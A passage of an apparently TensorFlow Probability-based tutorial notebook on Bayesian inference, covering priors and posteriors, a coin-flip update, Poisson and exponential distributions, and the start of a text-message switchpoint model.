\"text\", \"id\": \"dXqjzSnXRRr3\", \"cell_type\": \"markdown\"}\n# ## The Philosophy of Bayesian Inference\n#\n# >You are a skilled programmer, but bugs still slip into your code. After a particularly difficult implementation of an algorithm, you decide to test your code on a trivial example. It passes. You test the code on a harder problem. It passes once again. And it passes the next, even more difficult, test too! You are starting to believe that there may be no bugs in this code...\n#\n# If you think this way, then congratulations, you already are thinking Bayesian! Bayesian inference is simply updating your beliefs after considering new evidence. A Bayesian can rarely be certain about a result, but he or she can be very confident. Just like in the example above, we can never be 100% sure that our code is bug-free unless we test it on every possible problem; something rarely possible in practice. Instead, we can test it on a large number of problems, and if it succeeds we can feel more confident about our code, but still not certain. Bayesian inference works identically: we update our beliefs about an outcome; rarely can we be absolutely sure unless we rule out all other alternatives.\n#\n#\n\n# + {\"colab_type\": \"text\", \"id\": \"YO2eSwZQRRqv\", \"cell_type\": \"markdown\"}\n# ## The Bayesian state of mind\n# Bayesian inference differs from more traditional statistical inference by preserving uncertainty. At first, this sounds like a bad statistical technique. Isn't statistics all about deriving certainty from randomness? To reconcile this, we need to start thinking like Bayesians.\n#\n# The Bayesian world-view interprets probability as measure of believability in an event, that is, how confident we are in an event occurring. In fact, we will see in a moment that this is the natural interpretation of probability.\n#\n# For this to be clearer, we consider an alternative interpretation of probability: Frequentist, known as the more classical version of statistics, assume that probability is the long-run frequency of events (hence the bestowed title). For example, the probability of plane accidents under a frequentist philosophy is interpreted as the long-term frequency of plane accidents. This makes logical sense for many probabilities of events, but becomes more difficult to understand when events have no long-term frequency of occurrences. Consider: we often assign probabilities to outcomes of presidential elections, but the election itself only happens once! Frequentists get around this by invoking alternative realities and saying across all these realities, the frequency of occurrences defines the probability.\n#\n# Bayesians, on the other hand, have a more intuitive approach. Bayesians interpret a probability as measure of belief, or confidence, of an event occurring. Simply, a probability is a summary of an opinion. An individual who assigns a belief of 0 to an event has no confidence that the event will occur; conversely, assigning a belief of 1 implies that the individual is absolutely certain of an event occurring. Beliefs between 0 and 1 allow for weightings of other outcomes. This definition agrees with the probability of a plane accident example, for having observed the frequency of plane accidents, an individual's belief should be equal to that frequency, excluding any outside information. Similarly, under this definition of probability being equal to beliefs, it is meaningful to speak about probabilities (beliefs) of presidential election outcomes: how confident are you candidate A will win?\n#\n# Notice in the paragraph above, I assigned the belief (probability) measure to an individual, not to Nature. This is very interesting, as this definition leaves room for conflicting beliefs between individuals. Again, this is appropriate for what naturally occurs: different individuals have different beliefs of events occurring, because they possess different information about the world. The existence of different beliefs does not imply that anyone is wrong. Consider the following examples demonstrating the relationship between individual beliefs and probabilities:\n#\n# * I flip a coin, and we both guess the result. We would both agree, assuming the coin is fair, that the probability of Heads is 1/2. Assume, then, that I peek at the coin. Now I know for certain what the result is: I assign probability 1.0 to either Heads or Tails (whichever it is). Now what is your belief that the coin is Heads? My knowledge of the outcome has not changed the coin's results. Thus we assign different probabilities to the result.\n#\n# * Your code either has a bug in it or not, but we do not know for certain which is true, though we have a belief about the presence or absence of a bug.\n#\n# * A medical patient is exhibiting symptoms *x*, *y* and *z*. There are a number of diseases that could be causing all of them, but only a single disease is present. A doctor has beliefs about which disease, but a second doctor may have slightly different beliefs.\n#\n# This philosophy of treating beliefs as probability is natural to humans. We employ it constantly as we interact with the world and only see partial truths, but gather evidence to form beliefs. Alternatively, you have to be trained to think like a frequentist.\n#\n# To align ourselves with traditional probability notation, we denote our belief about event $A$ as $P(A)$. We call this quantity the prior probability.\n#\n# John Maynard Keynes, a great economist and thinker, said \"When the facts change, I change my mind. What do you do, sir?\" This quote reflects the way a Bayesian updates his or her beliefs after seeing evidence. Even \u2014 especially \u2014 if the evidence is counter to what was initially believed, the evidence cannot be ignored. We denote our updated belief as $P(A|X)$, interpreted as the probability of $A$ given the evidence $X$. We call the updated belief the posterior probability so as to contrast it with the prior probability. For example, consider the posterior probabilities (read: posterior beliefs) of the above examples, after observing some evidence $X$:\n#\n#\n# 1. $P(A)$: the coin has a 50 percent chance of being Heads. $P(A|X)$: You look at the coin, observe a Heads has landed, denote this information  $X$, and trivially assign probability 1.0 to Heads and 0.0 to Tails.\n#\n# 2. $P(A)$: This big, complex code likely has a bug in it. $P(A|X)$: The code passed all $X$ tests; there still might be a bug, but its presence is less likely now.\n#\n# 3. $P(A)$: The patient could have any number of diseases. $P(A|X)$: Performing a blood test generated evidence $X$, ruling out some of the possible diseases from consideration.\n#\n# It's clear that in each example we did not completely discard the prior belief after seeing new evidence $X$, but we re-weighted the prior to incorporate the new evidence (i.e. we put more weight, or confidence, on some beliefs versus others).\n#\n# By introducing prior uncertainty about events, we are already admitting that any guess we make is potentially very wrong. After observing data, evidence, or other information, we update our beliefs, and our guess becomes less wrong. This is the alternative side of the prediction coin, where typically we try to be more right.\n#\n#\n#\n#\n#\n\n# + {\"colab_type\": \"text\", \"id\": \"FXUBMaYsRWvl\", \"cell_type\": \"markdown\"}\n# ## Bayesian Inference in Practice\n# If frequentist and Bayesian inference were programming functions, with inputs being statistical problems, then the two would be different in what they return to the user. The frequentist inference function would return a number, representing an estimate (typically a summary statistic like the sample average etc.), whereas the Bayesian function would return probabilities.\n#\n# For example, in our debugging problem above, calling the frequentist function with the argument \"My code passed all $X$ tests; is my code bug-free?\" would return a YES. On the other hand, asking our Bayesian function \"Often my code has bugs. My code passed all $X$ tests; is my code bug-free?\" would return something very different: probabilities of YES and NO. The function might return:\n#\n# >YES, with probability 0.8; NO, with probability 0.2\n#\n# This is very different from the answer the frequentist function returned. Notice that the Bayesian function accepted an additional argument: \"Often my code has bugs\". This parameter is the prior. By including the prior parameter, we are telling the Bayesian function to include our belief about the situation. Technically this parameter in the Bayesian function is optional, but we will see excluding it has its own consequences.\n#\n# ### Incorporating evidence\n# As we acquire more and more instances of evidence, our prior belief is washed out by the new evidence. This is to be expected. For example, if your prior belief is something ridiculous, like \"I expect the sun to explode today\", and each day you are proved wrong, you would hope that any inference would correct you, or at least align your beliefs better. Bayesian inference will correct this belief.\n#\n# Denote $N$ as the number of instances of evidence we possess. As we gather an infinite amount of evidence, say as $N\u2192\u221e,$ our Bayesian results (often) align with frequentist results. Hence for large N, statistical inference is more or less objective. On the other hand, for small $N$, inference is much more unstable: frequentist estimates have more variance and larger confidence intervals. This is where Bayesian analysis excels. By introducing a prior, and returning probabilities (instead of a scalar estimate), we preserve the uncertainty that reflects the instability of statistical inference of a small N dataset.\n#\n# One may think that for large $N$, one can be indifferent between the two techniques since they offer similar inference, and might lean towards the computationally-simpler, frequentist methods. An individual in this position should consider the following quote by Andrew Gelman (2005)[[1]](#scrollTo=nDdph0r1ABCn), before making such a decision:\n#\n# Sample sizes are never large. If $N$, is too small to get a sufficiently-precise estimate, you need to get more data (or make more assumptions). But once $N$, is \"large enough,\" you can start subdividing the data to learn more (for example, in a public opinion poll, once you have a good estimate for the entire country, you can estimate among men and women, northerners and southerners, different age groups, etc.). $N$, is never enough because if it were \"enough\" you'd already be on to the next problem for which you need more data.\n#\n#\n\n# + {\"colab_type\": \"text\", \"id\": \"rACyvZBVdqB9\", \"cell_type\": \"markdown\"}\n# ## Are frequentist methods incorrect then?\n# No.\n#\n# Frequentist methods are still useful or state-of-the-art in many areas. Tools such as least squares linear regression, LASSO regression, and expectation-maximization algorithms are all powerful and fast. Bayesian methods complement these techniques by solving problems that these approaches cannot, or by illuminating the underlying system with more flexible modeling.\n#\n# ### A note on *Big Data*\n# Paradoxically, big data's predictive analytic problems are actually solved by relatively simple algorithms [[2]](#scrollTo=nDdph0r1ABCn)[[3]](#scrollTo=nDdph0r1ABCn). Thus we can argue that big data's prediction difficulty does not lie in the algorithm used, but instead on the computational difficulties of storage and execution on big data. (One should also consider Gelman's quote from above and ask \"Do I really have big data?\")\n#\n# The much more difficult analytic problems involve medium data and, especially troublesome, really small data. Using a similar argument as Gelman's above, if big data problems are big enough to be readily solved, then we should be more interested in the not-quite-big enough datasets.\n\n# + {\"colab_type\": \"text\", \"id\": \"TTUDkI8peKw6\", \"cell_type\": \"markdown\"}\n# ## Our Bayesian framework\n# We are interested in beliefs, which can be interpreted as probabilities by thinking Bayesian. We have a prior belief in event A, beliefs formed by previous information, e.g., our prior belief about bugs being in our code before performing tests.\n#\n# Secondly, we observe our evidence. To continue our buggy-code example: if our code passes X tests, we want to update our belief to incorporate this. We call this new belief the posterior probability. Updating our belief is done via the following equation, known as Bayes' Theorem, after its discoverer Thomas Bayes:\n#\n# $$ P(A|X) = \\frac{P(X | A) P(A) }{P(X) } $$\n#\n# $$ P(A|X) \\propto{P(X | A) P(A) } $$\n#\n# NOTE: ($\\propto$ is \"proportional to\")\n#\n#\n# The above formula is not unique to Bayesian inference: it is a mathematical fact with uses outside Bayesian inference. Bayesian inference merely uses it to connect prior probabilities $P(A)$ with an updated posterior probabilities $P(A|X)$.\n\n# + {\"colab_type\": \"text\", \"id\": \"DkB3Ou8UjW-F\", \"cell_type\": \"markdown\"}\n#\n# ## Example: Mandatory coin-flip example\n# Every statistics text must contain a coin-flipping example, I'll use it here to get it out of the way. Suppose, naively, that you are unsure about the probability of heads in a coin flip (spoiler alert: it's 50%). You believe there is some true underlying ratio, call it p, but have no prior opinion on what p might be.\n#\n# We begin to flip a coin, and record the observations: either H or T. This is our observed data. An interesting question to ask is how our inference changes as we observe more and more data? More specifically, what do our posterior probabilities look like when we have little data, versus when we have lots of data.\n#\n# Below we plot a sequence of updating posterior probabilities as we observe increasing amounts of data (coin flips), while also demonstrating some of the best practices when it comes to evaluating tensors and plotting the data. First, the easy part: We define the values in our Tensorflow graph\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"yFd9GboD7hVV\"}\n# Build Graph\nrv_coin_flip_prior = tfp.distributions.Bernoulli(probs=0.5, dtype=tf.int32)\n\nnum_trials = tf.constant([0,1, 2, 3, 4, 5, 8, 15, 50, 500, 1000, 2000])\n\ncoin_flip_data = rv_coin_flip_prior.sample(num_trials[-1])\n\n# prepend a 0 onto tally of heads and tails, for zeroth flip\ncoin_flip_data = tf.pad(coin_flip_data,tf.constant([[1, 0,]]),\"CONSTANT\")\n\n# compute cumulative headcounts from 0 to 2000 flips, and then grab them at each of num_trials intervals\ncumulative_headcounts = tf.gather(tf.cumsum(coin_flip_data), num_trials)\n\nrv_observed_heads = tfp.distributions.Beta(\n    concentration1=tf.cast(1 + cumulative_headcounts, tf.float32),\n    concentration0=tf.cast(1 + num_trials - cumulative_headcounts, tf.float32))\n\nprobs_of_heads = tf.linspace(start=0., stop=1., num=100, name=\"linspace\")\nobserved_probs_heads = tf.transpose(rv_observed_heads.prob(probs_of_heads[:, tf.newaxis]))\n\n# + {\"colab_type\": \"text\", \"id\": \"eVh-ugqN8NRy\", \"cell_type\": \"markdown\"}\n# Next we move onto executing the graph. When it comes to calculations that need to be made frequently and repeatedly, this method of first-defining and then executing graphs provides a handy speed boost. We can actually use a custom `evaluate()` function that allows us to evaluate tensors whether we are operating in TF Graph mode, or whether we have Eager mode active. The function looks like the following:\n#\n# ```python\n#\n# def evaluate(tensors):\n#     \"\"\"Evaluates Tensor or EagerTensor to Numpy `ndarray`s.\n#     Args:\n#     tensors: Object of `Tensor` or EagerTensor`s; can be `list`, `tuple`,\n#       `namedtuple` or combinations thereof.\n#\n#     Returns:\n#       ndarrays: Object with same structure as `tensors` except with `Tensor` or\n#         `EagerTensor`s replaced by Numpy `ndarray`s.\n#     \"\"\"\n#     if tf.executing_eagerly():\n#         return tf.contrib.framework.nest.pack_sequence_as(\n#             tensors,\n#             [t.numpy() if tf.contrib.framework.is_tensor(t) else t\n#              for t in tf.contrib.framework.nest.flatten(tensors)])\n#     return sess.run(tensors)\n#\n# ```\n#\n# To plot the tensors, we need to convert them into numpy variables. One handy way of associating tensors with their corrresponding numpy variables is to append an underscore to the numpy-like arrays. For example, if the input to `evaluate()` is `variable`, then we assign that value to `variable_`. Below we see an example of how we use both `evaluate()`  and this new styling.\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"Ex3djpOu7_-m\"}\n# Execute graph\n[num_trials_,\nprobs_of_heads_,\nobserved_probs_heads_,\ncumulative_headcounts_,\n] = evaluate([\n  num_trials,\n  probs_of_heads,\n  observed_probs_heads,\n  cumulative_headcounts\n])\n\n# + {\"colab_type\": \"text\", \"id\": \"IUAm6LEA8FFW\", \"cell_type\": \"markdown\"}\n# Finally, we move onto plotting our evaluated tensors in matplotlib.\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 697}, \"colab_type\": \"code\", \"id\": \"4fdWiFUT6H-A\", \"outputId\": \"a232d7e8-6825-4e41-f363-1f6c07b176e7\"}\n# For the already prepared, I'm using Binomial's conj. prior.\nplt.figure(figsize(16, 9))\nfor i in range(len(num_trials_)):\n    sx = plt.subplot(len(num_trials_)/2, 2, i+1)\n    plt.xlabel(\"$p$, probability of heads\") \\\n    if i in [0, len(num_trials_)-1] else None\n    plt.setp(sx.get_yticklabels(), visible=False)\n    plt.plot(probs_of_heads_, observed_probs_heads_[i], \n             label=\"observe %d tosses,\\n %d heads\" % (num_trials_[i], cumulative_headcounts_[i]))\n    plt.fill_between(probs_of_heads_, 0, observed_probs_heads_[i], \n                     color=TFColor[3], alpha=0.4)\n    plt.vlines(0.5, 0, 4, color=\"k\", linestyles=\"--\", lw=1)\n    leg = plt.legend()\n    leg.get_frame().set_alpha(0.4)\n    plt.autoscale(tight=True)\n\n\nplt.suptitle(\"Bayesian updating of posterior probabilities\", y=1.02,\n             fontsize=14)\nplt.tight_layout()\n\n# + {\"colab_type\": \"text\", \"id\": \"jTqKXlGRmKuh\", \"cell_type\": \"markdown\"}\n# The posterior probabilities are represented by the curves, and our uncertainty is proportional to the width of the curve. As the plot above shows, as we start to observe data our posterior probabilities start to shift and move around. Eventually, as we observe more and more data (coin-flips), our probabilities will tighten closer and closer around the true value of $p=0.5$ (marked by a dashed line).\n#\n# Notice that the plots are not always peaked at 0.5. There is no reason it should be: recall we assumed we did not have a prior opinion of what p is. In fact, if we observe quite extreme data, say 8 flips and only 1 observed heads, our distribution would look very biased away from lumping around 0.5 (with no prior opinion, how confident would you feel betting on a fair coin after observing 8 tails and 1 head?). As more data accumulates, we would see more and more probability being assigned at $p=0.5$, though never all of it.\n#\n# The next example is a simple demonstration of the mathematics of Bayesian inference.\n\n# + {\"colab_type\": \"text\", \"id\": \"5UKnxit-mevN\", \"cell_type\": \"markdown\"}\n# ## Example: Bug, or just sweet, unintended feature?\n# Let $A$ denote the event that our code has no bugs in it. Let $X$ denote the event that the code passes all debugging tests. For now, we will leave the prior probability of no bugs as a variable, i.e. $P(A)=p$.\n#\n# We are interested in $P(A|X)$, i.e. the probability of no bugs, given our debugging tests $X$. To use the formula above, we need to compute some quantities.\n#\n# What is $P(X|A)$, i.e., the probability that the code passes $X$ tests given there are no bugs? Well, it is equal to 1, for a code with no bugs will pass all tests.\n#\n# $P(X)$ is a little bit trickier: The event $X$ can be divided into two possibilities, event X occurring even though our code indeed has bugs (denoted $\u223cA$, spoken not $A$), or event $X$ without bugs $(A)$. $ P(X)$ can be represented as:\n\n# + {\"colab_type\": \"text\", \"id\": \"7rDu4o6DnjT7\", \"cell_type\": \"markdown\"}\n# $$ \\begin{align*}\n# P(A|X) &= \\frac{P(X | A) P(A) }{P(X) } \\\\\n#  P(X) &= P(X \\text{ and } A) + P(X \\text{ and } \\sim A) \\\\\n#   &= P(X|A)P(A) + P(X | \\sim A)P(\\sim A) \\\\\n#   &= P(X|A)p + P(X | \\sim A)(1-p) \\end{align*} $$\n#\n\n# + {\"colab_type\": \"text\", \"id\": \"S48e_3wph3I_\", \"cell_type\": \"markdown\"}\n# We have already computed $P(X|A)$ above. On the other hand, $P(X|\\sim A)$ is subjective: our code can pass tests but still have a bug in it, though the probability there is a bug present is reduced. Note this is dependent on the number of tests performed, the degree of complication in the tests, etc. Let's be conservative and assign $P(X|\\sim A)=0.5$. Then:\n#\n# $$ \\begin{align*}\n# P(A | X) &= \\frac{1\\cdot p}{ 1\\cdot p +0.5 (1-p) } \\\\\n# &= \\frac{ 2 p}{1+p} \\end{align*} $$\n#\n# This is the posterior probability. What does it look like as a function of our prior, $p\\in[0,1]$?\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 404}, \"colab_type\": \"code\", \"id\": \"MwjluXPenvAy\", \"outputId\": \"fc433206-8324-4d63-fafc-4f49127182eb\"}\n# Defining our range of probabilities\np = tf.linspace(start=0., stop=1., num=50)\n\n# Convert from TF to numpy.\n[p_] = evaluate([p])\n\n# Visualization.\nplt.figure(figsize=(12.5, 6))\nplt.plot(p_, 2*p_/(1+p_), color=TFColor[3], lw=3)\n#plt.fill_between(p, 2*p/(1+p), alpha=.5, facecolor=[\"#A60628\"])\nplt.scatter(0.2, 2*(0.2)/1.2, s=140, c=TFColor[3])\nplt.xlim(0, 1)\nplt.ylim(0, 1)\nplt.xlabel(r\"Prior, $P(A) = p$\")\nplt.ylabel(r\"Posterior, $P(A|X)$, with $P(A) = p$\")\nplt.title(r\"Are there bugs in my code?\");\n\n# + {\"colab_type\": \"text\", \"id\": \"dvcD8UWloYxn\", \"cell_type\": \"markdown\"}\n# We can see the biggest gains if we observe the $X$ tests passed when the prior probability, $p$, is low. Let's settle on a specific value for the prior. I'm a strong programmer (I think), so I'm going to give myself a realistic prior of 0.20, that is, there is a 20% chance that I write code bug-free. To be more realistic, this prior should be a function of how complicated and large the code is, but let's pin it at 0.20. Then my updated belief that my code is bug-free is 0.33.\n#\n# Recall that the prior is a probability: $p$ is the prior probability that there are no bugs, so $1 \\text{-} p$ is the prior probability that there are bugs.\n#\n# Similarly, our posterior is also a probability, with $P(A|X)$ the probability there is no bug given we saw all tests pass, hence $1 \\text{-} P(A|X)$ is the probability there is a bug given all tests passed. What does our posterior probability look like? Below is a chart of both the prior and the posterior probabilities.\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 279}, \"colab_type\": \"code\", \"id\": \"Aot_QO3n1r4o\", \"outputId\": \"6aa056b4-43c4-4dd3-c616-5fa57028db59\"}\n# Defining our priors and posteriors\nprior = tf.constant([0.20, 0.80])\nposterior = tf.constant([1./3, 2./3])\n\n# Convert from TF to numpy.\n[\n    prior_,\n    posterior_,\n] = evaluate([\n    prior,\n    posterior,\n])\n\n\n# Our Simple Visualization\nplt.figure(figsize=(12.5, 4))\ncolours = [TFColor[0], TFColor[3]]\nplt.bar([0, .7], prior_, alpha=0.70, width=0.25,\n        color=colours[0], label=\"prior distribution\",\n        lw=\"3\", edgecolor=colours[0])\nplt.bar([0+0.25, .7+0.25], posterior_, alpha=0.7,\n        width=0.25, color=colours[1],\n        label=r\"posterior distribution\",\n        lw=\"3\", edgecolor=colours[1])\n\nplt.xticks([0.20, .95], [\"Bugs Absent\", \"Bugs Present\"])\nplt.title(r\"Prior and Posterior probability of bugs present\")\nplt.ylabel(\"Probability\")\nplt.legend(loc=\"upper left\");\n\n# + {\"colab_type\": \"text\", \"id\": \"Xl6KbBeoCkiM\", \"cell_type\": \"markdown\"}\n# Notice that after we observed $X$ occur, the probability of bugs being absent increased. By increasing the number of tests, we can approach confidence (probability 1) that there are no bugs present.\n#\n# This was a very simple example of Bayesian inference and Bayes rule. Unfortunately, the mathematics necessary to perform more complicated Bayesian inference only becomes more difficult, except for artificially constructed cases. We will later see that this type of mathematical analysis is actually unnecessary. First we must broaden our modeling tools. The next section deals with probability distributions. If you are already familiar, feel free to skip (or at least skim), but for the less familiar the next section is essential.\n\n# + {\"colab_type\": \"text\", \"id\": \"2zNt6157C0Cr\", \"cell_type\": \"markdown\"}\n# ## Probability Distributions\n# Let's quickly recall what a probability distribution is: Let $Z$ be some random variable. Then associated with $Z$ is a probability distribution function that assigns probabilities to the different outcomes $Z$ can take. Graphically, a probability distribution is a curve where the probability of an outcome is proportional to the height of the curve. You can see examples in the first figure of this chapter.\n#\n# We can divide random variables into three classifications:\n#\n# *  $Z$ is discrete: Discrete random variables may only assume values on a specified list. Things like populations, movie ratings, and number of votes are all discrete random variables. Discrete random variables become more clear when we contrast them with...\n#\n# * $Z$ is continuous: Continuous random variable can take on arbitrarily exact values. For example, temperature, speed, time, color are all modeled as continuous variables because you can progressively make the values more and more precise.\n#\n# * $Z$ is mixed: Mixed random variables assign probabilities to both discrete and continuous random variables, i.e. it is a combination of the above two categories.\n#\n#\n#\n\n# + {\"colab_type\": \"text\", \"id\": \"xG03a_sgDRlc\", \"cell_type\": \"markdown\"}\n# ### Discrete Case\n#\n# If $Z$ is discrete, then its distribution is called a *probability mass function*, which measures the probability $Z$ takes on the value $k$, denoted $P(Z=k)$. Note that the probability mass function completely describes the random variable $Z$, that is, if we know the mass function, we know how $Z$ should behave. There are popular probability mass functions that consistently appear: we will introduce them as needed, but let's introduce the first very useful probability mass function. We say $Z$ is *Poisson*-distributed if:\n#  \n# $$P(Z = k) =\\frac{ \\lambda^k e^{-\\lambda} }{k!}, \\; \\; k=0,1,2, \\dots $$\n#\n#\n# $\\lambda$ is called a parameter of the distribution, and it controls the distribution's shape. For the Poisson distribution, $\\lambda$ can be any positive number. By increasing $\\lambda$, we add more probability to larger values, and conversely by decreasing $\\lambda$ we add more probability to smaller values. One can describe $\\lambda$ as the *intensity* of the Poisson distribution. \n#\n# Unlike $\\lambda$, which can be any positive number, the value $k$ in the above formula must be a non-negative integer, i.e., $k$ must take on values 0,1,2, and so on. This is very important, because if you wanted to model a population you could not make sense of populations with 4.25 or 5.612 members. \n#\n#\n# If a random variable $Z$ has a Poisson mass distribution, we denote this by writing\n#  \n# $$Z \\sim \\text{Poi}(\\lambda) $$\n#  \n# One useful property of the Poisson distribution is that its expected value is equal to its parameter, i.e.:\n#\n# $$E\\large[ \\;Z\\; | \\; \\lambda \\;\\large] = \\lambda $$\n#\n#\n# We will use this property often, so it's useful to remember. Below, we plot the probability mass distribution for different $\\lambda$ values. The first thing to notice is that by increasing $\\lambda$, we add more probability of larger values occurring. Second, notice that although the graph ends at 15, the distributions do not. They assign positive probability to every non-negative integer.\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 511}, \"colab_type\": \"code\", \"id\": \"7x8Y_YtNqoPY\", \"outputId\": \"34957d57-c33c-4327-d037-486406bad447\"}\n# Build graph.\nx = tf.range (start=0., limit=16.)\nlambdas = tf.constant([1.5, 4.25])\n\npoi_pmf = tfd.Poisson(\n  rate=lambdas[:, tf.newaxis]).prob(x)\n\n# Execute graph\n[\n  x_,\n  lambdas_,\n  poi_pmf_,\n] = evaluate([\n  x,\n  lambdas,\n  poi_pmf,\n])\n\nplt.figure(figsize=(12.5, 8))\n\n# Display results in two different histograms, for easier comparison\ncolours = [TFColor[0], TFColor[3]]\nfor i in [0,1]:\n  ax = plt.subplot(2,1,i+1)\n  ax.set_autoscaley_on(False)\n  plt.title(\"Probability mass function of a Poisson random variable\");\n\n  plt.bar(x_,\n          poi_pmf_[i],\n          color=colours[i],\n          label=r\"$\\lambda = %.1f$\" % lambdas_[i], alpha=0.60,\n          edgecolor=colours[i], lw=\"3\")\n  plt.xticks(x_ + 0.4, x_)\n  plt.ylim([0, .5])\n  plt.legend()\n  plt.ylabel(r\"probability of $k$\")\n  plt.xlabel(r\"$k$\")\n\n# + {\"colab_type\": \"text\", \"id\": \"ipS19FlBEmqK\", \"cell_type\": \"markdown\"}\n# ### Continuous Case\n#\n# Instead of a probability mass function, a continuous random variable has a *probability density function*. This might seem like unnecessary nomenclature, but the density function and the mass function are very different creatures. An example of continuous random variable is a random variable with *exponential density*. The density function for an exponential random variable looks like this:\n#\n# $$f_Z(z | \\lambda) = \\lambda e^{-\\lambda z }, \\;\\; z\\ge 0$$\n#  \n# Like a Poisson random variable, an exponential random variable can take on only non-negative values. But unlike a Poisson variable, the exponential can take on *any* non-negative values, including non-integral values such as 4.25 or 5.612401. This property makes it a poor choice for count data, which must be an integer, but a great choice for time data, temperature data (measured in Kelvins, of course), or any other precise *and positive* variable. The graph below shows two probability density functions with different $\\lambda$ values. \n#\n# When a random variable $Z$ has an exponential distribution with parameter $\\lambda$, we say *$Z$ is exponential* and write\n#\n# $$Z \\sim \\text{Exp}(\\lambda)$$\n#  \n# Given a specific $\\lambda$, the expected value of an exponential random variable is equal to the inverse of $\\lambda$, that is:\n#\n# $$E[\\; Z \\;|\\; \\lambda \\;] = \\frac{1}{\\lambda}$$\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 296}, \"colab_type\": \"code\", \"id\": \"o1aeMH4VE9xs\", \"outputId\": \"34756f32-6058-4cf2-e8a1-1a5da2cb85a6\"}\n# Defining our Data and assumptions (use tf.linspace for continuous)\na = tf.range(start=0., limit=4., delta=0.04)\na = a[..., tf.newaxis]\nlambdas = tf.constant([0.5, 1.])\n\n# Now we use TFP to compute probabilities in a vectorized manner.\nexpo_pdf = tfd.Exponential(rate=lambdas).prob(a)\n\n# Convert from TF to numpy\n[\n    a_,\n    lambdas_,\n    expo_pdf_,\n] = evaluate([\n    a,\n    lambdas,\n    expo_pdf,\n])\n\n# Visualizing our results\nplt.figure(figsize=(12.5, 4))\nfor i in range(lambdas_.size):\n    plt.plot(a_.T[0], expo_pdf_.T[[i]][0],\n             lw=3, color=TFColor[i], label=r\"$\\lambda = %.1f$\" % lambdas_[i])\n    plt.fill_between(a_.T[0], expo_pdf_.T[[i]][0],\n                         color=TFColor[i], alpha=.33)\nplt.legend()\nplt.ylabel(\"PDF at $z$\")\nplt.xlabel(\"$z$\")\nplt.ylim(0,1.2)\nplt.title(r\"Probability density function of an Exponential random variable; differing $\\lambda$\");\n\n\n# + {\"colab_type\": \"text\", \"id\": \"_1fhqQhAFLkk\", \"cell_type\": \"markdown\"}\n#  \n# ## But what is $\\lambda \\;$?\n#\n# **This question is what motivates statistics**. In the real world, $\\lambda$ is hidden from us. We see only $Z$, and must go backwards to try and determine $\\lambda$. The problem is difficult because there is no one-to-one mapping from $Z$ to $\\lambda$. Many different methods have been created to solve the problem of estimating $\\lambda$, but since $\\lambda$ is never actually observed, no one can say for certain which method is best! \n#\n# Bayesian inference is concerned with *beliefs* about what $\\lambda$ might be. Rather than try to guess $\\lambda$ exactly, we can only talk about what $\\lambda$ is likely to be by assigning a probability distribution to $\\lambda$.\n#  \n# This might seem odd at first. After all, $\\lambda$ is fixed; it is not (necessarily) random! How can we assign probabilities to values of a non-random variable? Ah, we have fallen for our old, frequentist way of thinking. Recall that under Bayesian philosophy, we *can* assign probabilities if we interpret them as beliefs. And it is entirely acceptable to have *beliefs* about the parameter $\\lambda$. \n#\n\n# + {\"colab_type\": \"text\", \"id\": \"JrRddMMfHHKJ\", \"cell_type\": \"markdown\"}\n#  \n# #### Example: Inferring behaviour from text-message data\n#  \n# Let's try to model a more interesting example, one that concerns the rate at which a user sends and receives text messages:\n#\n# >  You are given a series of daily text-message counts from a user of your system. The data, plotted over time, appears in the chart below. You are curious to know if the user's text-messaging habits have changed over time, either gradually or suddenly. How can you model this? (This is in fact my own text-message data. Judge my popularity as you wish.)\n#\n#\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 294}, \"colab_type\": \"code\", \"id\": \"cOBOnwa2IIaB\", \"outputId\": \"43123229-1b53-4ba0-9527-ee633a683b13\"}\n# Defining our Data and assumptions\ncount_data = tf.constant([\n    13,  24,   8,  24,   7,  35,  14,  11,  15,  11,  22,  22,  11,  57,  \n    11,  19,  29,   6,  19,  12,  22,  12,  18,  72,  32,   9,   7,  13,  \n    19,  23,  27,  20,   6,  17,  13,  10,  14,   6,  16,  15,   7,   2,  \n    15,  15,  19,  70,  49,   7,  53,  22,  21,  31,  19,  11,  18,  20,  \n    12,  35,  17,  23,  17,   4,   2,  31,  30,  13,  27,   0,  39,  37,   \n    5,  14,  13,  22,\n], dtype=tf.float32)\nn_count_data = tf.shape(count_data)\ndays = tf.range(n_count_data[0])\n\n# Convert from TF to numpy.\n\n[\n    count_data_, \n    n_count_data_, \n    days_,\n] = evaluate([\n    count_data, \n    n_count_data,\n    days,\n])\n\n# Visualizing the Results\n    \nplt.figure(figsize=(12.5, 4))\nplt.bar(days_, count_data_, color=\"#5DA5DA\")\nplt.xlabel(\"Time (days)\")\nplt.ylabel(\"count of text-msgs received\")\nplt.title(\"Did the user's texting habits change over time?\")\nplt.xlim(0, n_count_data_[0]);\n\n\n# + {\"colab_type\": \"text\", \"id\": \"i-PRmpvsIZKq\", \"cell_type\": \"markdown\"}\n#\n# Before we start modeling, see what you can figure out just by looking at the chart above. Would you say there was a change in behaviour during this time period? \n#  \n# How can we start to model this? Well, as we have conveniently already seen, a Poisson random variable is a very appropriate model for this type of *count* data. Denoting day $i$'s text-message count by $C_i$, \n#  \n# $$ C_i \\sim \\text{Poisson}(\\lambda)  $$\n#  \n# We are not sure what the value of the $\\lambda$ parameter really is, however. Looking at the chart above, it appears that the rate might become higher late in the observation period, which is equivalent to saying that $\\lambda$ increases at some point during the observations. (Recall that a higher value of $\\lambda$ assigns more probability to larger outcomes. That is, there is a higher probability of many text messages having been sent on a given day.)\n#  \n# How can we represent this observation mathematically? Let's assume that on some day during the observation period (call it $\\tau$), the parameter $\\lambda$ suddenly jumps to a higher value. So we really have two $\\lambda$ parameters: one for the period before $\\tau$, and one for the rest of the observation period. In the literature, a sudden transition like this would be called a *switchpoint*:\n#  \n# $$\\lambda = \n# \\begin{cases} \\lambda_1  & \\text{if } t \\lt \\tau \\cr\n# \\lambda_2 & \\text{if } t \\ge \\tau\n# \\end{cases}\n# $$\n#\n# If, in reality, no sudden change occurred and indeed $\\lambda_1 = \\lambda_2$, then the $\\lambda$s posterior distributions should look about equal.\n#\n# We are interested in inferring the unknown $\\lambda$s. To 